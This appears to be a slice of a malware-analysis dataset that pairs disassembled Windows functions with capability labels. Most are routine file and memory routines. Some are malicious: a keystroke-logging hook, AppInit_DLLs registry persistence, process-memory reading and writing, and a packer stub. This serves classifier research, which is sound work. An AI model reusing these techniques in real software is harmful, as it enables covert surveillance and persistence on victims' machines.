joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4046ac
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
push 4
pop eax
call fcn.00404370
mov ebx, esp
push 0x1c
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x404741
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x44]
lea esi, [eax - 1]
not esi
and esi, ebx
sub esi, eax
mov dword [ebp - 4], eax
mov eax, dword [0x40b140]
mov ecx, eax
dec ecx
neg ecx
sbb ecx, ecx
and ecx, 0xffff1000
add ecx, 0x11000
add ecx, edi
cmp esi, ecx
jb 0x404741
cmp eax, 1
je 0x404759
mov ebx, edi
mov edi, 0x1000
push 0x1c
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x404741
add ebx, dword [ebp - 0x18]
test dword [ebp - 0x14], edi
je 0x404716
test byte [ebp - 0xf], 1
mov ebx, dword [ebp - 0x24]
je 0x40473d
xor eax, eax
inc eax
jmp 0x404775
cmp esi, ebx
jae 0x404745
xor eax, eax
jmp 0x404775
push 4
push edi
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x40b140]
jmp 0x40475b
mov ebx, esi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 8]
push ecx
inc eax
push eax
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x54]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4049c3
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x40a448]
xor eax, dword [ebp + 4]
mov ecx, dword [ebp + 8]
cmp ecx, dword [0x40c52c]
push ebx
push esi
mov dword [ebp - 4], eax
push edi
jae 0x404b53
mov eax, ecx
sar eax, 5
lea ebx, [eax*4 + 0x40c540]
mov eax, dword [ebx]
mov esi, ecx
and esi, 0x1f
shl esi, 3
mov al, byte [eax + esi + 4]
test al, 1
mov dword [ebp - 0x18], ebx
je 0x404b53
xor edi, edi
cmp dword [ebp + 0x10], edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x14], edi
jne 0x404a22
xor eax, eax
jmp 0x404b67
test al, 0x20
je 0x404a33
push 2
push edi
push edi
push ecx
call fcn.00406dde
add esp, 0x10
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x404aef
cmp dword [ebp + 0x10], edi
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov dword [ebp + 8], edi
jbe 0x404b27
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x41c]
cmp ecx, dword [ebp + 0x10]
jae 0x404a89
mov edx, dword [ebp - 8]
inc dword [ebp - 8]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x404a7a
inc dword [ebp - 0x14]
mov byte [eax], 0xd
inc eax
inc edi
mov ebx, dword [ebp - 0x18]
mov byte [eax], dl
inc eax
inc edi
cmp edi, 0x400
jl 0x404a5f
mov edi, eax
lea eax, [ebp - 0x41c]
sub edi, eax
push 0
lea eax, [ebp - 0x10]
push eax
push edi
lea eax, [ebp - 0x41c]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x404ac9
mov eax, dword [ebp - 0x10]
add dword [ebp - 0xc], eax
cmp eax, edi
jl 0x404ad2
mov eax, dword [ebp - 8]
sub eax, dword [ebp + 0xc]
xor edi, edi
cmp eax, dword [ebp + 0x10]
jb 0x404a53
jmp 0x404ad4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 8], eax
xor edi, edi
mov eax, dword [ebp - 0xc]
cmp eax, edi
jne 0x404b4e
cmp dword [ebp + 8], edi
je 0x404b27
push 5
pop eax
cmp dword [ebp + 8], eax
jne 0x404b1c
mov dword [0x40b138], eax
jmp 0x404b5a
push edi
lea ecx, [ebp - 0x10]
push ecx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x404b11
mov eax, dword [ebp - 0x10]
mov dword [ebp + 8], edi
mov dword [ebp - 0xc], eax
jmp 0x404ad4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 8], eax
jmp 0x404ad4
push dword [ebp + 8]
call fcn.00405988
pop ecx
jmp 0x404b64
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x404b3c
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0x1a
je 0x404a1b
mov dword [0x40b134], 0x1c
mov dword [0x40b138], edi
jmp 0x404b64
sub eax, dword [ebp - 0x14]
jmp 0x404b67
and dword [0x40b138], 0
mov dword [0x40b134], 9
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp + 4]
pop edi
pop esi
pop ebx
call fcn.00404dc2
leave
ret
Function at 0x405c08
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [ebp + 8]
cmp esi, dword [0x40c52c]
push edi
jae 0x405dcf
mov eax, esi
sar eax, 5
lea ebx, [eax*4 + 0x40c540]
mov eax, dword [ebx]
and esi, 0x1f
shl esi, 3
add eax, esi
mov dl, byte [eax + 4]
test dl, 1
je 0x405dcf
and dword [ebp - 0xc], 0
cmp dword [ebp + 0x10], 0
mov edi, dword [ebp + 0xc]
mov ecx, edi
je 0x405cae
test dl, 2
jne 0x405cae
test dl, 0x48
je 0x405c78
mov al, byte [eax + 5]
cmp al, 0xa
je 0x405c78
dec dword [ebp + 0x10]
mov byte [edi], al
mov eax, dword [ebx]
lea ecx, [edi + 1]
mov dword [ebp - 0xc], 1
mov byte [eax + esi + 5], 0xa
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0x10]
mov eax, dword [ebx]
push ecx
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x405cc1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 5
pop ecx
cmp eax, ecx
jne 0x405ca9
mov dword [0x40b138], ecx
jmp 0x405dd6
cmp eax, 0x6d
jne 0x405cb5
xor eax, eax
jmp 0x405de3
push eax
call fcn.00405988
pop ecx
jmp 0x405de0
mov eax, dword [ebx]
mov edx, dword [ebp - 0x10]
add dword [ebp - 0xc], edx
lea ecx, [eax + esi + 4]
mov al, byte [ecx]
test al, al
jns 0x405dca
test edx, edx
je 0x405ce4
cmp byte [edi], 0xa
jne 0x405ce4
or al, 4
jmp 0x405ce6
and al, 0xfb
mov byte [ecx], al
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0xc]
add ecx, eax
cmp eax, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], ecx
jae 0x405dc4
mov eax, dword [ebp - 8]
mov al, byte [eax]
cmp al, 0x1a
je 0x405db4
cmp al, 0xd
je 0x405d1a
mov byte [edi], al
inc edi
inc dword [ebp - 8]
jmp 0x405da6
dec ecx
cmp dword [ebp - 8], ecx
jae 0x405d34
mov eax, dword [ebp - 8]
inc eax
cmp byte [eax], 0xa
jne 0x405d2f
add dword [ebp - 8], 2
jmp 0x405d88
mov dword [ebp - 8], eax
jmp 0x405da2
inc dword [ebp - 8]
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x405d5c
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x405da2
cmp dword [ebp - 0x10], 0
je 0x405da2
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x48
je 0x405d7d
mov al, byte [ebp - 1]
cmp al, 0xa
je 0x405d88
mov byte [edi], 0xd
mov ecx, dword [ebx]
mov byte [ecx + esi + 5], al
jmp 0x405da5
cmp edi, dword [ebp + 0xc]
jne 0x405d8d
cmp byte [ebp - 1], 0xa
jne 0x405d8d
mov byte [edi], 0xa
jmp 0x405da5
push 1
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00404937
add esp, 0xc
cmp byte [ebp - 1], 0xa
je 0x405da6
mov byte [edi], 0xd
inc edi
mov ecx, dword [ebp - 0xc]
cmp dword [ebp - 8], ecx
jb 0x405cfe
jmp 0x405dc4
mov eax, dword [ebx]
lea esi, [eax + esi + 4]
mov al, byte [esi]
test al, 0x40
jne 0x405dc4
or al, 2
mov byte [esi], al
sub edi, dword [ebp + 0xc]
mov dword [ebp - 0xc], edi
mov eax, dword [ebp - 0xc]
jmp 0x405de3
and dword [0x40b138], 0
mov dword [0x40b134], 9
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406174
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x40b2a8], ebx
push esi
push edi
jne 0x4061f4
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x40622f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x408e2c
push edi
call esi
test eax, eax
mov dword [0x40b2a8], eax
je 0x40622f
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x40b2ac], eax
call esi
cmp dword [0x40b140], 2
mov dword [0x40b2b0], eax
jne 0x4061f4
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x40b2b8], eax
je 0x4061f4
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x40b2b4], eax
mov eax, dword [0x40b2b4]
test eax, eax
je 0x406239
call eax
test eax, eax
je 0x406220
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x40b2b8]
test eax, eax
je 0x406220
test byte [ebp - 8], 1
jne 0x406239
cmp dword [0x40b14c], 4
jb 0x406233
or byte [ebp + 0x12], 0x20
jmp 0x406258
xor eax, eax
jmp 0x406268
or byte [ebp + 0x12], 4
jmp 0x406258
mov eax, dword [0x40b2ac]
test eax, eax
je 0x406258
call eax
mov ebx, eax
test ebx, ebx
je 0x406258
mov eax, dword [0x40b2b0]
test eax, eax
je 0x406258
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x40b2a8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4073bd
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.00404370
mov eax, dword [0x40a448]
xor eax, dword [ebp + 4]
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
cmp ebx, dword [0x40c52c]
mov dword [ebp - 4], eax
jae 0x4074fd
mov eax, ebx
sar eax, 5
mov eax, dword [eax*4 + 0x40c540]
mov ecx, ebx
and ecx, 0x1f
test byte [eax + ecx*8 + 4], 1
je 0x4074fd
push 1
push esi
push ebx
call fcn.00404937
add esp, 0xc
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x407507
push 2
push esi
push ebx
call fcn.00404937
add esp, 0xc
cmp eax, 0xffffffff
je 0x407507
push edi
mov edi, dword [ebp + 0xc]
sub edi, eax
test edi, edi
jle 0x4074aa
push 0x1000
lea eax, [ebp - 0x1008]
push esi
push eax
call fcn.004043b0
push 0x8000
push ebx
call fcn.00407874
add esp, 0x14
mov dword [ebp + 8], eax
mov eax, 0x1000
cmp edi, eax
jge 0x407469
mov eax, edi
push eax
lea eax, [ebp - 0x1008]
push eax
push ebx
call fcn.004049c3
add esp, 0xc
cmp eax, 0xffffffff
je 0x407487
sub edi, eax
test edi, edi
jg 0x40745e
jmp 0x40749d
cmp dword [0x40b138], 5
jne 0x40749a
mov dword [0x40b134], 0xd
or esi, 0xffffffff
push dword [ebp + 8]
push ebx
call fcn.00407874
pop ecx
pop ecx
jmp 0x4074ea
jge 0x4074ea
push 0
push dword [ebp + 0xc]
push ebx
call fcn.00404937
push ebx
call fcn.00405b75
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0xffffffff
jne 0x4074ea
mov dword [0x40b134], 0xd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x40b138], eax
push 0
push dword [ebp - 8]
push ebx
call fcn.00404937
add esp, 0xc
mov eax, esi
pop edi
jmp 0x40750a
mov dword [0x40b134], 9
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp + 4]
pop esi
pop ebx
call fcn.00404dc2
leave
ret
Function at 0x409e20
Capabilities:
Get common file path
Move file

Disassembly:
sub esp, 0x200
lea eax, [esp]
push 0xff
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x409ecb
push ebx
push esi
lea ecx, [esp + 8]
push edi
push ecx
lea edx, [esp + 0x110]
push 0x40e244
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov edi, 0x40e23c
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x210]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
test eax, eax
pop ebx
je 0x409eb5
lea eax, [esp + 0x100]
lea ecx, [esp]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_rename]
add esp, 8
add esp, 0x200
ret
lea edx, [esp]
lea eax, [esp + 0x100]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_rename]
add esp, 8
add esp, 0x200
ret

Function at 0x401000
Capabilities:
Terminate process

Disassembly:
mov dword [0x402452], eax
mov edx, eax
xor edi, edi
push 2
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
xor esi, esi
push dword [0x403583]
call dword [sym.imp.winmm.dll_waveOutClose]
add eax, 6
test eax, 0xb
jne 0x401036
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
mov edx, eax
ret
Function at 0x100013c0
Capabilities:
Log keystrokes via application hook

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x100013fc
mov eax, dword [section.L_sectio]
test eax, eax
jne 0x100013f7
mov eax, dword [0x1000a654]
push 0
push eax
push 0x10001150
push 2
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [section.L_sectio], eax
je 0x100013f7
mov eax, 1
ret 4
xor eax, eax
ret 4
mov ecx, dword [section.L_sectio]
push ecx
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
ret 4

Function at 0x100015a0
Capabilities:
Print debug messages

Disassembly:
mov eax, 0x4020
call fcn.10005800
mov ecx, dword [esp + 0x4024]
lea eax, [esp]
push 0x20
push eax
push ecx
call fcn.100016c0
mov eax, dword [0x1000ba40]
add esp, 0xc
cmp eax, 9
jl 0x100015d2
mov eax, 1
jmp 0x100015d3
inc eax
mov edx, dword [esp + 0x4028]
mov dword [0x1000ba40], eax
test edx, edx
push edi
je 0x1000162f
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
push 0x2000
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x2028]
push ecx
push eax
push edx
call fcn.10001680
mov eax, dword [0x1000ba40]
add esp, 0x10
lea ecx, [esp + 0x2024]
lea edx, [esp + 4]
push ecx
push edx
push eax
lea ecx, [esp + 0x30]
push str._d_s_s_
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
jmp 0x10001648
lea edx, [esp + 4]
push edx
push eax
lea eax, [esp + 0x2c]
push str._d_s_
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea edi, [esp + 0x24]
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
mov eax, dword [0x1000a020]
lea edx, [esp + 0x28]
not ecx
dec ecx
push ecx
push edx
push eax
call 0x100010f0
pop edi
add esp, 0x4020
ret
Function at 0x10001af0
Capabilities:
Print debug messages

Disassembly:
push 0xffffffffffffffff
push 0x10006818
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x58
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
push edi
push str._AutoGive..............
call ebp
xor ebx, ebx
mov ecx, 0xc
xor eax, eax
lea edi, [esp + 0x35]
mov byte [esp + 0x34], bl
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
rep stosd dword es:[edi], eax
mov ecx, dword [0x1000a024]
push ebx
stosb byte es:[edi], al
mov edx, dword [ecx*4 + 0x1000a0c8]
lea eax, [esp + 0x1c]
push 4
push eax
push edx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push eax
call edi
mov eax, dword [esp + 0x18]
cmp eax, ebx
je 0x10001c95
push ebx
lea ecx, [esp + 0x14]
push 4
add eax, 0xa0
push ecx
push eax
call esi
push eax
call edi
mov eax, dword [esp + 0x10]
push ebx
lea edx, [esp + 0x18]
push 4
add eax, 0xfffffffc
push edx
push eax
call esi
push eax
call edi
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
push ebx
lea edx, [esp + 0x38]
push ecx
push edx
push eax
call esi
push eax
call edi
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString_1
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x34]
mov dword [esp + 0x70], ebx
push ecx
mov ecx, dword [esp + 0x1c]
push edx
push eax
push ecx
lea edx, [esp + 0x34]
push str._X__X__d__s
push edx
call sub.MFC42.DLL_CString::Format
mov eax, dword [esp + 0x3c]
add esp, 0x18
push eax
call ebp
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x1c]
mov byte [esp + 0x70], 1
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x20]
mov byte [esp + 0x70], 2
push ecx
mov ecx, dword [0x1000a6ac]
push 0x50b
call sub.MFC42.DLL_CWnd::GetDlgItemTextA
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x34]
push edx
push eax
lea ecx, [esp + 0x24]
push str._s__s
push ecx
call sub.MFC42.DLL_CString::Format
push ebx
xor edx, edx
push ebx
push ebx
mov dword [esp + 0x48], edx
push ebx
lea eax, [esp + 0x48]
push 0x419
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x54], edx
push eax
call fcn.10001cb0
add esp, 0x28
lea ecx, [esp + 0x1c]
push ebx
call sub.MFC42.DLL_CString::GetBuffer
lea ecx, [esp + 0x28]
push eax
push ecx
call fcn.100015a0
add esp, 8
lea ecx, [esp + 0x1c]
mov byte [esp + 0x70], 1
call fcn.10005374
lea ecx, [esp + 0x20]
mov byte [esp + 0x70], bl
call fcn.10005374
lea ecx, [esp + 0x24]
mov dword [esp + 0x70], 0xffffffff
call fcn.10005374
mov ecx, dword [esp + 0x68]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x64
ret
Function at 0x10002a60
Capabilities:
Create thread

Disassembly:
sub esp, 0x24
mov eax, dword [0x1000a024]
xor edx, edx
mov dword [esp + 0x11], edx
push ebx
mov ecx, dword [eax*4 + 0x1000a208]
mov dword [esp + 0x19], edx
imul ecx, dword [esp + 0x2c]
push ebp
mov dword [esp + 0x21], edx
push esi
mov esi, dword [eax*4 + 0x1000a1e0]
mov dword [esp + 0x29], edx
sub esi, ecx
mov word [esp + 0x2d], dx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push edx
lea eax, [esp + 0x3c]
lea ebx, [esi - 1]
push 1
push eax
push ebx
mov dword [esp + 0x20], 0
mov byte [esp + 0x48], 0
mov byte [esp + 0x30], 0
mov byte [esp + 0x43], dl
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push eax
call ebp
mov ecx, dword [esp + 0x38]
push 0
and ecx, 0xff
lea edx, [esp + 0x24]
push ecx
push edx
push esi
call edi
push eax
call ebp
mov ecx, dword [0x1000a024]
push 0
lea eax, [esp + 0x14]
push 4
mov edx, dword [ecx*4 + str._______]
push eax
add edx, esi
push edx
call edi
push eax
call ebp
mov al, byte [esp + 0x38]
test al, al
je 0x10002bb8
mov ecx, dword [esp + 0x10]
xor eax, eax
mov dword [esp + 0x18], eax
lea edx, [esp + 0x14]
push eax
push eax
push eax
push ecx
push 0x3ee
push edx
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], eax
call fcn.10001cb0
lea eax, [esp + 0x38]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.100015a0
mov edx, dword [0x1000a024]
add esp, 0x20
lea ecx, [esp + 0x38]
mov byte [esp + 0x38], 0
mov eax, dword [edx*4 + 0x1000a208]
push 0
push eax
push ecx
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [0x1000a6b0]
inc eax
cmp eax, 5
mov dword [0x1000a6b0], eax
jle 0x10002bb8
mov ecx, dword [0x1000a6ac]
push 0x4fb
call sub.MFC42.DLL_CWnd::GetDlgItem
mov edx, dword [eax + 0x20]
push 0
push 0
push 0xf0
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
test eax, eax
je 0x10002bb8
push 0
push 0
push 0
push 0x10002850
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
Function at 0x100059d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [eax + 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, dword [ebp - 4]
mov dword [edx], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
je 0x10005a41
mov ecx, dword [ebp - 4]
cmp dword [ecx + 8], 0
je 0x10005a41
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
test eax, eax
jne 0x10005a2a
jmp 0x10005a41
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
push 0x40
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8
Function at 0x4013a0
Capabilities:
Persist via appinit_dlls registry key
Set registry value
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x40a004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x1c]
push eax
push 3
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x4013de
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040281c
mov esp, ebp
pop ebp
ret
mov eax, 0x44bd30
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4013e6
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
sub eax, edx
mov edx, dword [ebp - 0x1c]
sar eax, 1
lea ecx, [eax + eax]
push ecx
push 0x44bd30
push 1
push 0
push str.AppInit_DLLs
push edx
call esi
test eax, eax
jne 0x4013cd
mov ecx, dword [ebp - 0x1c]
push 4
lea eax, [ebp - 0x20]
push eax
push 4
push 0
push str.LoadAppInit_DLLs
push ecx
mov dword [ebp - 0x20], 1
call esi
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [str.Wup]
mov edx, dword [0x40ab28]
mov eax, dword [0x40ab20]
mov dword [ebp - 0x10], ecx
mov ecx, dword [str.Yw9]
mov dword [ebp - 0xc], edx
mov edx, dword [0x40ab34]
mov dword [ebp - 0x14], eax
mov eax, dword [0x40ab2c]
mov dword [ebp - 0x28], ecx
mov ecx, dword [0x40ab38]
mov dword [ebp - 0x24], edx
xor edx, edx
or ecx, dword [0x40ab3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0x18], edx
mov eax, 0x40ab38
je 0x4014a0
lea esp, [esp]
mov ecx, dword [eax + 0xc]
add eax, 8
add edx, 8
or ecx, dword [eax]
jne 0x401490
mov dword [ebp - 0x18], edx
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x14]
push ecx
push 0x40ab38
push 0x40ab38
call fcn.00401200
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push 0x44bd30
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4014f5
mov eax, dword [ebp - 0x18]
push 0
lea edx, [ebp - 0x18]
push edx
push eax
push 0x40ab38
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov al, 1
pop esi
call fcn.0040281c
mov esp, ebp
pop ebp
ret
Function at 0x416a30
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.DOg1
lea edi, [esi - 0xf000]
push edi
jmp 0x416a4a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x416a51
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x416a40
mov eax, 1
add ebx, ebx
jne 0x416a63
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x416a58
jne 0x416a74
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x416a58
xor ecx, ecx
sub eax, 3
jb 0x416a88
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x416afa
mov ebp, eax
add ebx, ebx
jne 0x416a93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x416aa0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x416ac4
inc ecx
add ebx, ebx
jne 0x416ab0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x416aa5
jne 0x416ac1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x416aa5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x416ae4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x416ad5
jmp 0x416a46
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x416ae4
add edi, ecx
jmp 0x416a46
pop esi
mov edi, esi
mov ecx, 0x21d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x416b02
cmp byte [edi], 5
jne 0x416b02
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x416b07
lea edi, [esi + 0x14000]
mov eax, dword [edi]
or eax, eax
je 0x416b7f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x195f8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x19648]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x416b34
mov ecx, edi
jns 0x416b63
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1964c]
or eax, eax
je 0x416b79
mov dword [ebx], eax
add ebx, 4
jmp 0x416b51
call dword [esi + 0x1965c]
mov ebp, dword [esi + 0x19650]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x416bb3
sub esp, 0xffffff80
jmp 0x40319e